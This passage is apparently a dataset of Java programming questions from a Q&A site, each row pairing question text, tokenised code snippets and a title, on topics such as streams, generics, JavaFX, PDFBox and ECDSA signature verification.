class +Java,"I have following class : Now I want to convert a List < Foo > to Map < String , Map < String , List < String > > > . I found this answer which helped me develop following code : The only problem with this code is the part where it should convert to List < String > . I could n't find a way to convert Foo to List in that part.Another approach which results in Map < String , Map < String , List < Foo > > > : What do I need to change in order to receive Map < String , Map < String , List < String > > > from List < Foo > ?","public class Foo { private String areaName ; private String objectName ; private String lineName ; } Map < String , Map < String , List < String > > > testMap = foos.stream ( ) .collect ( Collectors.groupingBy ( e - > e.getAreaName ( ) , Collectors.groupingBy ( e - > e.getObjectName ( ) , Collectors.collectingAndThen ( Collectors.toList ( ) , e - > e.stream ( ) .map ( f - > f.getLineName ( ) ) ) ) ) ) ; Map < Object , Map < Object , List < Foo > > > testMap = ventures.stream ( ) .collect ( Collectors.groupingBy ( e - > e.getAreaName ( ) , Collectors.groupingBy ( e - > e.getObjectName ( ) , Collectors.toList ( ) ) ) ) ;","Java 8 List < Foo > to Map < String , Map < String , List < String > > >" +Java,"I am using PopupWindow for show validation error with showAsDropDown ( anchor ) .Validation Fields are validated by pressing the save button , so If anchor place under action bar , its popup overlaps actionBar . How do I fix this ? Popup for validation error XML :","protected void showPopup ( View anchorPlace ) { popupContainer.removeAllViews ( ) ; popupContainer.addView ( recyclerErrors ) ; if ( Build.VERSION.SDK_INT > = Build.VERSION_CODES.LOLLIPOP ) { popupContainer.setElevation ( 0 ) ; anchorPlace.setElevation ( 0 ) ; popup.setElevation ( 0 ) ; } recyclerErrors.setOnClickListener ( v - > dismissPopup ( ) ) ; popup.setContentView ( popupContainer ) ; if ( anchorPlace ! = null ) { popup.setWidth ( anchorPlace.getWidth ( ) ) ; } popup.setHeight ( WindowManager.LayoutParams.WRAP_CONTENT ) ; popup.setOutsideTouchable ( true ) ; popup.setFocusable ( false ) ; popup.setTouchable ( true ) ; popup.setBackgroundDrawable ( null ) ; if ( anchorPlace ! = null ) { PopupWindowCompat.showAsDropDown ( popup , anchorPlace , 0 , 0 , Gravity.BOTTOM ) ; } if ( popup.isAboveAnchor ( ) ) { popup.dismiss ( ) ; } } < LinearLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : app= '' http : //schemas.android.com/apk/res-auto '' android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' android : orientation= '' vertical '' > < ImageView android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : layout_marginStart= '' 20dp '' app : srcCompat= '' @ drawable/warning_triangle '' / > < TextView android : id= '' @ +id/error_field_error_txt '' android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' android : background= '' @ drawable/warning_bcg '' android : drawableStart= '' @ drawable/ic_warning '' android : drawablePadding= '' @ dimen/settings_error_body_padding_top_bottom '' android : gravity= '' center_vertical '' android : paddingStart= '' @ dimen/settings_error_body_padding_start_end '' android : paddingTop= '' @ dimen/settings_error_body_padding_top_bottom '' android : paddingEnd= '' @ dimen/settings_error_body_padding_start_end '' android : paddingBottom= '' @ dimen/settings_error_body_padding_top_bottom '' android : textColor= '' @ android : color/white '' android : textSize= '' @ dimen/settings_error_text_size '' android : textStyle= '' bold '' app : layout_constraintBottom_toBottomOf= '' parent '' app : layout_constraintEnd_toEndOf= '' parent '' app : layout_constraintStart_toStartOf= '' parent '' app : layout_constraintTop_toTopOf= '' parent '' / > < /LinearLayout >",PopupWindow overlaps ActionBar +Java,"I have difficulties understanding the java way of interpreting interface inheritance , example : Could anyone explain why the first method works , and the second does n't ?","public interface Model { Model getModel ( ) ; void setModel ( Model model ) ; } public class BaseModel implements Model { @ Override public BaseModel getModel ( ) { return null ; } // works @ Override public void setModel ( BaseModel model ) { } // compilation error , it wants Model instead of BaseModel }",Interface inheritance - changing method parameters +Java,The following noGood method gives a compilation error because it omits the formal type parameter immediately before the return type T. Could somebody please help me understand that why is it required for a static generic method to have a type parameter before the return type ? Is it not required for a non-static method ?,public static T noGood ( T t ) { return t ; },Why type parameter required before return type for static generic methods +Java,"I have a Java application that is used to communicate with an embedded device over a UART connection ( RS422 ) . The host queries the microcontroller for data in 5 millisecond intervals . Up until recently I 've been using ScheduledExecutorService scheduleAtFixedRate to call my communication protocol method , but it turns out scheduleAtFixedRate is very unreliable for this desired level of precision ( as many other posts reveal ) . Among the data returned from the microcontroller is a timestamp ( in microseconds ) , allowing me to verify the interval between received data packets independently of the JVM . Needless to say , the interval when using scheduleAtFixedRate varied wildly - up to 30 milliseconds between packets . Additionally , the scheduler will then try to overcompensate for the missed cycles by calling the Runnable several times within one millisecond ( again , no surprise to anyone here ) . After some searching , there seemed to be a consensus that the JVM simply could not be trusted to ensure any kind of precise scheduling . However , I decided to do some experimenting on my own and came up with this : The result of this was fantastic . Adjacent timestamps never varied by more than 0.1 milliseconds from the expected 5 millisecond interval . Despite this , something about this technique does n't seem right , but I have n't been able to come up with anything else that works . My question is basically whether or not this approach is OK , and if not , what should I do instead ? ( I am running Windows 10 with JDK 8_74 )","Runnable commTask = ( ) - > { // volatile boolean controlled from the GUI while ( deviceConnection ) { // retrieve start time startTime = System.nanoTime ( ) ; // time since commProtocol was last called timeDiff = startTime - previousTime ; // if at least 5 milliseconds has passed if ( timeDiff > = 5000000 ) { // handle communication commProtocol ( ) ; // store the start time for comparison previousTime = startTime ; } } } ; // commTask is started as followsservice = Executors.newSingleThreadScheduledExecutor ( ) ; service.schedule ( commTask , 0 , TimeUnit.MILLISECONDS ) ;",Java `` scheduleAtFixedRate '' alternative solution ? +Java,"I 'm using Netbeans IDE . For a school project I need to read an .ini-file , and get some specific information.The reason I 'm not using ini4j : I have a section that has key values which are the sameI have sections that have no key-value inputs that I have to read information fromExample ini-file : \ means the next command or white lines need to be ignoredSo the last part of the ini file actually means : number = 14My task : I need to store the oject names with the corresponding length ( meters ) and number into a single string like this : Object1 has length 1m and number 12My problem : I use a scanner with delimiter //Z to store the whole file into a single String.This works ( if I print out the String it gives the example above ) .I 've tried this code : If I try to only remove the newlines : I get an empty output.Thanks in advance !","[ Section ] Object1 5 mnumber = 12Object2 6 m ; Comment followed by white linenumber = 1\4 String file = file.replaceAll ( `` ( \\. ) ( \\\\ ) ( \\n* ) ( \\ . ) '' , '' '' ) ; String file = file.replace ( `` \n '' , '' '' ) ; System.out.println ( file ) ;",Java 8 programming : Reading a .ini-file and trying to get rid of newline-characters +Java,"When experimenting with ZLib compression , I have run across a strange problem . Decompressing a zlib-compressed byte array with random data fails reproducibly if the source array is at least 32752 bytes long . Here 's a little program that reproduces the problem , you can see it in action on IDEOne . The compression and decompression methods are standard code picked off tutorials.Is this a known bug in ZLib ? Or do I have an error in my compress / decompress routines ?","public class ZlibMain { private static byte [ ] compress ( final byte [ ] data ) { final Deflater deflater = new Deflater ( ) ; deflater.setInput ( data ) ; deflater.finish ( ) ; final byte [ ] bytesCompressed = new byte [ Short.MAX_VALUE ] ; final int numberOfBytesAfterCompression = deflater.deflate ( bytesCompressed ) ; final byte [ ] returnValues = new byte [ numberOfBytesAfterCompression ] ; System.arraycopy ( bytesCompressed , 0 , returnValues , 0 , numberOfBytesAfterCompression ) ; return returnValues ; } private static byte [ ] decompress ( final byte [ ] data ) { final Inflater inflater = new Inflater ( ) ; inflater.setInput ( data ) ; try ( ByteArrayOutputStream outputStream = new ByteArrayOutputStream ( data.length ) ) { final byte [ ] buffer = new byte [ Math.max ( 1024 , data.length / 10 ) ] ; while ( ! inflater.finished ( ) ) { final int count = inflater.inflate ( buffer ) ; outputStream.write ( buffer , 0 , count ) ; } outputStream.close ( ) ; final byte [ ] output = outputStream.toByteArray ( ) ; return output ; } catch ( DataFormatException | IOException e ) { throw new RuntimeException ( e ) ; } } public static void main ( final String [ ] args ) { roundTrip ( 100 ) ; roundTrip ( 1000 ) ; roundTrip ( 10000 ) ; roundTrip ( 20000 ) ; roundTrip ( 30000 ) ; roundTrip ( 32000 ) ; for ( int i = 32700 ; i < 33000 ; i++ ) { if ( ! roundTrip ( i ) ) break ; } } private static boolean roundTrip ( final int i ) { System.out.printf ( `` Starting round trip with size % d : `` , i ) ; final byte [ ] data = new byte [ i ] ; for ( int j = 0 ; j < data.length ; j++ ) { data [ j ] = ( byte ) j ; } shuffleArray ( data ) ; final byte [ ] compressed = compress ( data ) ; try { final byte [ ] decompressed = CompletableFuture.supplyAsync ( ( ) - > decompress ( compressed ) ) .get ( 2 , TimeUnit.SECONDS ) ; System.out.printf ( `` Success ( % s ) % n '' , Arrays.equals ( data , decompressed ) ? `` matching '' : `` non-matching '' ) ; return true ; } catch ( InterruptedException | ExecutionException | TimeoutException e ) { System.out.println ( `` Failure ! `` ) ; return false ; } } // Implementing Fisher–Yates shuffle // source : https : //stackoverflow.com/a/1520212/342852 static void shuffleArray ( byte [ ] ar ) { Random rnd = ThreadLocalRandom.current ( ) ; for ( int i = ar.length - 1 ; i > 0 ; i -- ) { int index = rnd.nextInt ( i + 1 ) ; // Simple swap byte a = ar [ index ] ; ar [ index ] = ar [ i ] ; ar [ i ] = a ; } } }",ZLib decompression fails on large byte array +Java,"Given the following as an example of data classes : Presuming I would have a List of CountriesAnd I wanted to Stream those to their Regions and their corresponding names I would like to do the following : However that code does not compile since the return value of `` getRegions '' is a Collection ( List ) as opposed to a Stream , which the flatMap Method accepts.But since I know that any Collection can be streamed via its Collection.stream ( ) Method that should n't be a problem . Still I am forced to write it as follows : Which is ( given a richer context ) far less readable than the former.Questions is , is there any reason , that I am missing out on , for this to be that bulky ? I have plenty of examples in our framework at which I am forced to take that route , always leaving me with a sour taste . ( Guess I just have to add Kotlin to our projects and extend the Stream class with a flatMap Method that takes a Collection : p or do I ? )",class Country { List < Region > regions = new ArrayList < > ( ) ; List < Region > getRegions ( ) { return regions ; } } class Region { String getName ( ) { return `` some name '' ; } } List < Country > countries = new ArrayList < > ( ) ; countries.stream ( ) .flatMap ( Country : :getRegions ) .map ( Region : :getName ) ... countries.stream ( ) .flatMap ( c - > c.getRegions ( ) .stream ( ) ) .map ( Region : :getName ) ...,Why ca n't Stream.flatMap accept a collection ? +Java,We upgraded lately from Spring Boot 2.1.9 to 2.2.1 which caused our tests to fail . Investigation led to the result that the java.time.Duration type is now serialized differently by default . Instead of having the String `` PT15M '' in the JSON message we now get `` 900.0 '' . The POJO definition looks like thatThe question now is if there is some configuration property we can use to get the `` old '' behavior . I know we could also add annotationbut I would prefer a way to have it just by configuration .,"@ JsonProperty ( required = true , value = `` duration '' ) @ NotNullprivate final Duration duration ; @ JsonFormat ( shape = JsonFormat.Shape.STRING )",Spring Boot : Default serialization for java.time.Duration changed from String to Number +Java,"I have some data that I 'm signing on iOS with SecKeyRawSign using Elliptic Curve private key . However , verifying that data in Java using Signature.verify ( ) returns falseThe data is a random 64 bit integer , split into bytes like so From that data I 'm creating a SHA256 digest and then signing it with private key Everything appears to work fine.Then , in Java server , I 'm trying to verify that signed data At this point , signer.verify ( ) returns falseI also tried to sign plain data , instead of SHA256 digest , but that does n't work either.What am I missing ? Am I signing the data correctly ? Am I using correct padding ? Is there something else to be done with data to be able to verify it with SHA256withECDSA algorithm ?","uint64_t nonce = ( some 64 bit integer ) NSData *nonceData = [ NSData dataWithBytes : & nonce length : sizeof ( nonce ) ] ; int digestLength = CC_SHA256_DIGEST_LENGTH ; uint8_t *digest = malloc ( digestLength ) ; CC_SHA256 ( nonceData.bytes , ( CC_LONG ) nonceData.length , digest ) ; NSData *digestData = [ NSData dataWithBytes : digest length : digestLength ] ; size_t signedBufferSize = kMaxCipherBufferSize ; uint8_t *signedBuffer = malloc ( kMaxCipherBufferSize ) ; OSStatus status = SecKeyRawSign ( privateKeyRef , kSecPaddingPKCS1SHA256 , ( const uint8_t * ) digestData.bytes , digestData.length , & signedBuffer [ 0 ] , & signedBufferSize ) ; NSData *signedData = nil ; if ( status == errSecSuccess ) { signedData = [ NSData dataWithBytes : signedBuffer length : signedBufferSize ] ; } PublicKey publicKey = ( a public key sent from iOS , X509 encoded ) Long nonce = ( 64 bit integer sent from iOS ) String signedNonce = ( base64 encoded signed data ) ByteBuffer buffer = ByteBuffer.allocate ( Long.BYTES ) ; buffer.putLong ( nonce ) ; byte [ ] nonceBytes = buffer.array ( ) ; byte [ ] signedNonceBytes = Base64.getDecoder ( ) .decode ( signedNonce.getBytes ( ) ) ; Signature signer = Signature.getInstance ( `` SHA256withECDSA '' ) ; signer.initVerify ( publicKey ) ; signer.update ( nonceBytes ) ; Boolean isVerified = signer.verify ( signedNonceBytes ) ;",Data signed on iOS ca n't be verified in Java +Java,"Looking at the Java Virtual Machine Specification and compiled code tells us how `` synchronized '' blocks are implemented in java . The following code : ... is roughly equivalent to this pseudocode : ... with one exception.For some reason , the exception table displays two finally handlers . For example : The first handler is where I expect it to be , but the second handler is actually for the finally block of the first handler , and if it catches an exception it executes the same handler . You could visualize this poorly in the following way : Does anybody know why this is ? If it were just the finally block , the second entry in the table would not be there . Besides , I ca n't see any possible reason for wanting to execute the finally block again if it 's already thrown an exception.Thanks , Brandon",public void testSync ( ) { Object obj = getSomeObject ( ) ; synchronized ( obj ) { doSomething ( ) ; } } public void testSync ( ) { Object obj = getSomeObject ( ) ; Object __temp = obj ; monitorenter __temp ; try { doSomething ( ) ; } finally { monitorexit __temp ; } } Exception table : from to target type 12 20 23 any 23 25 23 any try { doSomething ( ) ; } finally { beginTry : try { monitorexit __temp ; } finally { goto beginTry ; } },JVM Synchronized Finally Blocks +Java,"Please allow me to ask this question with an example : Suppose we have the following 3 lists ( omitted double quotes for clarity ) : The output list can look like any of the following ( there are more solutions ) In summary , the resulting ordered setContains the union of elements from all the listsOrder of the elements in all the original lists are preserved.A 4th list , L4 : ( b , c , d ) , when added to the input , should throw an exception ( since c comes before b in L1 ) I came up with the answers by inspection . Can anybody suggest an algorithm to do this ? Thank you , - M.S .","L1 : ( a , c , b , d , f , j ) L2 : ( b , e , j , k ) L3 : ( a , d , e , g , h , j , i ) Lanswer1 : ( a , c , b , d , e , f , g , h , j , i , k ) Lanswer2 : ( a , c , b , d , f , e , g , h , j , i , k ) Lanswer3 : ( a , c , b , d , e , f , g , h , j , k , i )",Merging ordered List +Java,"I have issue related database connection in java class , i do n't know why use this `` =+ '' and `` =* '' in `` WHERE `` clause . Here 's an example : Can anyone tell me ? I have three question : ( 1 ) What do `` * '' and `` + '' signs denote ? ( 2 ) how do these =+ and =* work in the WHERE clause ? ( 3 ) how it is compare with two table ?",String where = null ; if ( isOracleConnectionCache ( ) ) { where = `` ValidInfo.InfoCode = FolderInfo.InfoCode AND ValidInfoGroup.InfoGroup =+ ValidInfo.InfoGroup AND FolderInfo.FolderRSN = ? `` ; } else { where = `` ValidInfo.InfoCode = FolderInfo.InfoCode AND ValidInfoGroup.InfoGroup =* ValidInfo.InfoGroup AND FolderInfo.FolderRSN = ? `` ; },Why use `` =+ '' and `` =* '' in `` WHERE `` clause ? +Java,"I was recently asked a question that stumped me.This is not a thread-safe method . If Thread 1 calls swapEngine ( car1 , car2 ) and then Thread 2 calls swapEngine ( car1 , car3 ) , it is possible for car2 to end up with the engine of car3 . The most obvious way to fix this problem is to synchronize the method.Synchronizing the method introduces a potential inefficiency . What if Thread 1 calls swapEngine ( car1 , car2 ) and Thread 2 calls swapEngine ( car3 , car4 ) ? In no way can these two threads interfere with each other . In this case the ideal situation would be for the two threads to swap the engines in parallel . Synchronizing the method precludes this from happening . Is there another technique to swap these engines in a thread-safe manner while still taking advantage of parallelism ? Edit : Made method public .","public void swapEngine ( Car a , Car b ) { Engine temp = a.engine ; a.engine = b.engine ; b.engine = temp ; }",Swapping variables in a multi-threaded environment +Java,"I have often wondered this , is there a performance cost of splitting a string over multiple lines to increase readability when initially assigning a value to a string . I know that strings are immutable and therefore a new string needs to be created every time . Also , the performance cost is actually irrelevant thanks to today 's really fast hardware ( unless you are in some diabolical loop ) . So for example : How does the JVM or .Net 's compiler and other optimizations handle this . Will it create a single string ? Or will it create 1 string then a new concatenating the value and then another one concatenating the values again ? This is for my own curiosity .",String newString = `` This is a really long long long long long '' + `` long long long long long long long long long long long long `` + `` long long long long long long long long long string for example . `` ;,What is the performance cost of assigning a single string value using + 's +Java,Let us try to redirect standard error for java : error.txt is populated with version.Let us try to redirect standard output : output.txt is empty.Why does java binary print normal output to error stream ?,java -version 2 > ~/error.txt java -version > ~/output.txt,Why does `` java -version '' print its output to error stream ? +Java,"If I overload the toString ( ) , the debugger in IntelliJ will show me the Object.toString ( ) result near the relevant object in the variables tab.If toString is overloaded with : return `` Test1 : This is toString overload '' ; : Sometimes , what I want to see in debug is n't the same as the general toString overload . I know it 's possible to set another expression for a specific type/class/etc , but only from the settings.Is there a way to ( globally ) set an arbitrary function name that will take precedence over toString when such function exists ? For example : If Object.toDebuggerString ( ) exists use it , otherwise - use Object.toString ( ) .",class Test1 { @ Override public String toString ( ) { return `` Test1 '' ; } } class Test2 { @ Override public String toString ( ) { return `` Test2 '' ; } public String toDebuggerString ( ) { return `` Testing debugging mode '' ; } },IntelliJ change toString for debug mode ( variables view ) +Java,This is IEEE 754 standard question . I do n't completely understand the mechanics behind it .,public class Gray { public static void main ( String [ ] args ) { System.out.println ( ( float ) ( 2000000000 ) == ( float ) ( 2000000000 + 50 ) ) ; } },Why is this true ? +Java,"Trying to save Arabic words in an editable PDF . It works all fine with English ones but when I use Arabic words , I am getting this exception : java.lang.IllegalArgumentException : U+0627 is not available in this font Helvetica encoding : WinAnsiEncodingHere is how I generated PDF :",public static void main ( String [ ] args ) throws IOException { String formTemplate = `` myFormPdf.pdf '' ; try ( PDDocument pdfDocument = PDDocument.load ( new File ( formTemplate ) ) ) { PDAcroForm acroForm = pdfDocument.getDocumentCatalog ( ) .getAcroForm ( ) ; if ( acroForm ! = null ) { PDTextField field = ( PDTextField ) acroForm.getField ( `` sampleField '' ) ; field.setValue ( `` جملة '' ) ; } pdfDocument.save ( `` updatedPdf.pdf '' ) ; } },Unable to save Arabic words in a PDF - PDFBox Java +Java,"I have an FXML file defining a JavaFX user interface . Within the FXML file , I have the following : When I try to load my FXML file with the following code , I get a javafx.fxml.LoadException with the message Can not bind to untyped object.Does anyone know how to modify the FXML to disable my spinner when the checkbox is checked ? I know how to go about this in code , but want to learn more about the FXML syntax . I should also add that when I remove the attempted property binding from the FXML , everything loads as expected . Thanks.EDITDue to the comment from @ Groostav saying that it must be something in the ... portion of the code , I came up with a minimal , reproducible example . In my example , there are two files , which I will copy in their entirety here.Main.java : Example.fxml : When I run the main method , I get the following output : If I remove the disable= '' $ { myCheckbox.selected } '' from the FXML file , everything loads as expected . In addition , I am able to bind the properties in code . Why is n't this working , and how can I modify the FXML to support this ? I am running on Windows 7 Enterprise SP1 x64 , using Java SE JDK 8u92 x64 .",... < Checkbox fx : id= '' myCheckbox '' ... / > < Spinner disable= '' $ { myCheckbox.selected } '' ... / > ... final Class < ? > controllerClass = ... ; final FXMLLoader fxmlLoader = new FXMLLoader ( ) ; final String fxmlPath = controllerClass.getSimpleName ( ) + `` .fxml '' ; try ( final InputStream fxmlStream = controllerClass.getResourceAsStream ( fxmlPath ) ) { fxmlLoader.load ( fxmlStream ) ; final Object controller = fxmlLoader. < Object > getController ( ) ; return controller } package test ; import java.io.InputStream ; import javafx.application.Application ; import javafx.fxml.FXMLLoader ; import javafx.scene.Parent ; import javafx.scene.Scene ; import javafx.stage.Stage ; public class Main extends Application { public static void main ( final String [ ] args ) { launch ( args ) ; } @ Override public void start ( Stage window ) throws Exception { final FXMLLoader fxmlLoader = new FXMLLoader ( ) ; final String fxmlPath = `` Example.fxml '' ; final Parent root ; try ( final InputStream fxmlStream = getClass ( ) .getResourceAsStream ( fxmlPath ) ) { root = ( Parent ) fxmlLoader.load ( fxmlStream ) ; } final Scene scene = new Scene ( root ) ; window.setScene ( scene ) ; window.show ( ) ; } } < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < ? import javafx.scene.control.CheckBox ? > < ? import javafx.scene.control.Spinner ? > < ? import javafx.scene.layout.HBox ? > < HBox xmlns= '' http : //javafx.com/javafx/8.0.65 '' xmlns : fx= '' http : //javafx.com/fxml/1 '' alignment= '' BASELINE_LEFT '' spacing= '' 15 '' > < children > < CheckBox fx : id= '' myCheckbox '' text= '' Disable ? '' mnemonicParsing= '' false '' / > < Spinner disable= '' $ { myCheckbox.selected } '' / > < /children > < /HBox > Exception in Application start methodjava.lang.reflect.InvocationTargetException at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:498 ) at com.sun.javafx.application.LauncherImpl.launchApplicationWithArgs ( LauncherImpl.java:389 ) at com.sun.javafx.application.LauncherImpl.launchApplication ( LauncherImpl.java:328 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:498 ) at sun.launcher.LauncherHelper $ FXHelper.main ( LauncherHelper.java:767 ) Caused by : java.lang.RuntimeException : Exception in Application start method at com.sun.javafx.application.LauncherImpl.launchApplication1 ( LauncherImpl.java:917 ) at com.sun.javafx.application.LauncherImpl.lambda $ launchApplication $ 155 ( LauncherImpl.java:182 ) at java.lang.Thread.run ( Thread.java:745 ) Caused by : javafx.fxml.LoadException : Can not bind to untyped object.unknown path:12 at javafx.fxml.FXMLLoader.constructLoadException ( FXMLLoader.java:2597 ) at javafx.fxml.FXMLLoader.access $ 100 ( FXMLLoader.java:103 ) at javafx.fxml.FXMLLoader $ Element.processPropertyAttribute ( FXMLLoader.java:299 ) at javafx.fxml.FXMLLoader $ Element.processInstancePropertyAttributes ( FXMLLoader.java:235 ) at javafx.fxml.FXMLLoader $ ValueElement.processStartElement ( FXMLLoader.java:749 ) at javafx.fxml.FXMLLoader.processStartElement ( FXMLLoader.java:2707 ) at javafx.fxml.FXMLLoader.loadImpl ( FXMLLoader.java:2527 ) at javafx.fxml.FXMLLoader.load ( FXMLLoader.java:2425 ) at test.Main.start ( Main.java:22 ) at com.sun.javafx.application.LauncherImpl.lambda $ launchApplication1 $ 162 ( LauncherImpl.java:863 ) at com.sun.javafx.application.PlatformImpl.lambda $ runAndWait $ 175 ( PlatformImpl.java:326 ) at com.sun.javafx.application.PlatformImpl.lambda $ null $ 173 ( PlatformImpl.java:295 ) at java.security.AccessController.doPrivileged ( Native Method ) at com.sun.javafx.application.PlatformImpl.lambda $ runLater $ 174 ( PlatformImpl.java:294 ) at com.sun.glass.ui.InvokeLaterDispatcher $ Future.run ( InvokeLaterDispatcher.java:95 ) at com.sun.glass.ui.win.WinApplication._runLoop ( Native Method ) at com.sun.glass.ui.win.WinApplication.lambda $ null $ 148 ( WinApplication.java:191 ) ... 1 moreException running application test.Main,JavaFX Binding Fails with `` Can not bind to untyped object . '' +Java,"I am using Eclipse Kepler for developing my Java project.I have created one vo and added some properties into the vo.To generate the getter and setter methods for those properties , I right click on one property and go to `` Source '' then click on the `` Generates Getters and Setters '' . It is showing me the available getter/setter methods for properties . below is the screen shotAs you can see in the above screen shot , Eclipse is providing me getter and setter methods for property sId are The first letter after get and set is in small letter ( getsId and setsId ) . For property uid Eclipse is creating the desired getter and setter methods.My observation is that any property whose 2nd letter is in capital ( For example- sId : 1st letter ( s ) is in small and 2nd letter ( I ) is in capital ) eclipse is generating the getter and setter in below formatBut if the 2nd letter of the property is in small letter eclipse is generating the getter and setter in below formatEven , if the 1st letter of the property is in capital letter , eclipse is generating the getter and setter in below formatI do n't know whether this is an Eclipse bug or not ( apart form Kepler , I also checked the same in Eclipse Luna ) but I want the getter and setter for property sId ( 2nd letter is in capital ) should be just like belowIs there any option available in Eclipse to modify the default getter and setter methods provided by Eclipse ? Or I can not modify the default getter and setter methods provided by Eclipse using any settings and I need to do it manually in the source code after generated by eclipse .",public String getsId ( ) { return sId ; } public void setsId ( String sId ) { this.sId = sId ; } get+property nameset+property name get+1st letter in capital letter+ rest of the property nameset+1st letter in capital letter+ rest of the property name get+1st letter ( which is already in capital ) + rest of the property nameget+1st letter ( which is already in capital ) + rest of the property name get+1st letter in capital letter + rest of the property nameset+1st letter in capital letter + rest of the property name,What are the settings to modify the default getter and setter methods provided by Eclipse ? +Java,"Suppose that we have the following structure in Java : Scala has built-in support for immutable singly-linked list . It would be : So , is it possible to make a cycle in this kind of lists ( immutable singly-linked list ) . By cycle , I mean the following :","class List { // we 're immutable final List next ; final int value ; public List ( int value , List next ) { this.next = next ; this.value = value ; } } val l = List ( 1 , 2 , 3 ) // immutable",Is it possible to make a cycle in an immutable linked list ? +Java,I have written this test class and I am wondering why proxy object does have the same hashCode like original object . Does anyone know why ? Thats an sample output :,"public class Main { public static void main ( String [ ] args ) { final Service realSubject = new Subject_A ( ) ; final Service proxySubject = ProxyGenerator.makeProxy ( Service.class , realSubject ) ; final String hello = proxySubject.work ( `` Hello '' ) ; System.out.println ( `` hello = `` + hello ) ; System.out.println ( `` \n '' ) ; System.out.println ( `` realSubject : `` + realSubject ) ; System.out.println ( `` proxySubject : `` + proxySubject ) ; } } in Subject_A # work : str = Hellohello = Hello_DONErealSubject : at.me.proxy.Subject_A @ 4f4a7090proxySubject : at.me.proxy.Subject_A @ 4f4a7090",Java Proxy - > Why does have proxy object same hashCode like original object +Java,"I know that similar question was already asked . But that solution do n't suit me . I have two POJOs with quite a lot of fields : AndJackson produces JSON as expected : However I need to wrap each property as JSON Object . Something like this : I do n't want to create separate POJO for every field . The other way is to create Map for every field , but this is a bad decision.Maybe there are some other ways to do it ?","@ JsonInclude ( JsonInclude.Include.NON_NULL ) public class Profile { @ JsonProperty ( `` userAttrs '' ) private List < UserAttr > userAttrs ; } @ JsonInclude ( JsonInclude.Include.NON_NULL ) public class UserAttr { @ JsonProperty ( `` ordercode '' ) private String ordercode ; @ JsonProperty ( `` transactionid '' ) private String transactionid ; @ JsonProperty ( `` receiptno '' ) private String receiptno ; // A lot more fields `` profile '' : { `` userAttrs '' : [ { `` ordercode '' : 123 , `` transactionid '' : 12345 , `` reference '' : 123456789 , `` orderpaymenttypecode '' : 1231341 , ... more properties ... } ] } `` profile '' : { `` userAttrs '' : [ { `` ordercode '' : 123 } , { `` transactionid '' : 12345 } , { `` reference '' : 123456789 } , { `` orderpaymenttypecode '' : 1231341 } , ... more properties ... ] }",Jackson serialization . Force to wrap each field as object +Java,"I am new to Java 8 and looking to understand the difference between the two scenarios . I know that once a stream is operated and consumed then stream cant be reused again it will give an error.Scenario-1 : When I run this , I get below error ... which is fair.Scenario-2 : Here also I have operated stream and closed the terminal operation , then why I did not get any error ?","List < String > title = Arrays.asList ( `` Java8 '' , `` In '' , `` Action '' ) ; Stream < String > s = title.stream ( ) ; s.forEach ( System.out : :println ) ; s.forEach ( System.out : :println ) ; // THIS WILL GIVE ERROR - streams has been already operated and closed . Java8InActionException in thread `` main '' java.lang.IllegalStateException : stream has already been operated upon or closed at java.util.stream.AbstractPipeline.sourceStageSpliterator ( Unknown Source ) at java.util.stream.ReferencePipeline $ Head.forEach ( Unknown Source ) at com.test.Java8InAction.CH4.TraversableOnlyOnce.main ( TraversableOnlyOnce.java:12 ) // Filtering unique elementsList < Integer > numbers = Arrays.asList ( 1 , 2 , 1 , 3 , 3 , 2 , 4 ) ; numbers.stream ( ) .forEach ( System.out : :println ) ; numbers.stream ( ) .filter ( n - > n % 2 == 0 ) .distinct ( ) .forEach ( System.out : :println ) ; numbers.stream ( ) .filter ( n - > n % 2 == 0 ) .forEach ( System.out : :println ) ;","Java 8 - Once Stream is consumed and operated giving error , but in another case its not" +Java,"I have a Java class that may be subclassed to add an additional field . There is a corresponding C++ JNI method that will interact with that field . However , I want the JNI code to handle both the base class and the subclass , which means it must detect whether the field is present.My ( simplified ) JNI code looks like this : Although the GetFieldID ( ) method returns NULL , the application gets an exception at some further point in processing , that is seemingly unrelated to this code . Nevertheless , it is somehow related because if I just return before the GetFieldID ( ) method , there is no exception.How can one reliably test for the presence of a field or method in an object from JNI code ?","fid = j.GetFieldID ( jc , UTF8_SECPARM , SIG_SECPARM ) ; if ( fid == 0 ) return ; ... continue with fid ...",Check for presence of optional field or method in Java Class from JNI code +Java,"I 'm curious to know why Java 's Optional does not provide a peek method similar to Stream 's one.The peek method javadoc of the Stream interface states : @ apiNote This method exists mainly to support debugging , where you want to see the elements as they flow past a certain point in a pipeline This almost exactly describes my use case : ( repository.findById returns Optional < User > ( see CrudRepository # findById ) ) But it wo n't compile since there is no peek method on Optional.So without the peek method everything above transforms to : It is also possible to do something like this ( see this answer ) : And use it with the map method : But I think this is a hack rather than clean usage of Optional.Since Java 9 it is possible to transform Optional to Stream but the stream does not have the orElseThrow method ( and obviously it should not ) .Also it is possible to do the same using ifPresent but it returns void . ( And for me it seems that ifPresent should not return anything other than void ) Am I misusing Optional ? Is the absence of the peek method intentional ? ( But at the same time Vavr 's Option does provide the peek method . ) Or it was just considered not worth it ?","@ Override @ Transactionalpublic User getUserById ( long id ) { return repository.findById ( id ) .peek ( u - > logger.debug ( `` Found user = { } by id = { } '' , u , id ) ) .orElseThrow ( ( ) - > new UserNotFoundException ( `` id = `` + id ) ) ; } @ Override @ Transactionalpublic User getUserById ( long id ) { Optional < User > userOptional = repository.findById ( id ) ; if ( userOptional.isPresent ( ) ) { logger.debug ( `` Found user = { } with id = { } '' , userOptional.get ( ) , id ) ; } return userOptional.orElseThrow ( ( ) - > new UserNotFoundException ( `` id = `` + id ) ) ; } @ NoArgsConstructor ( access = PRIVATE ) public abstract class OptionalUtils { public static < T 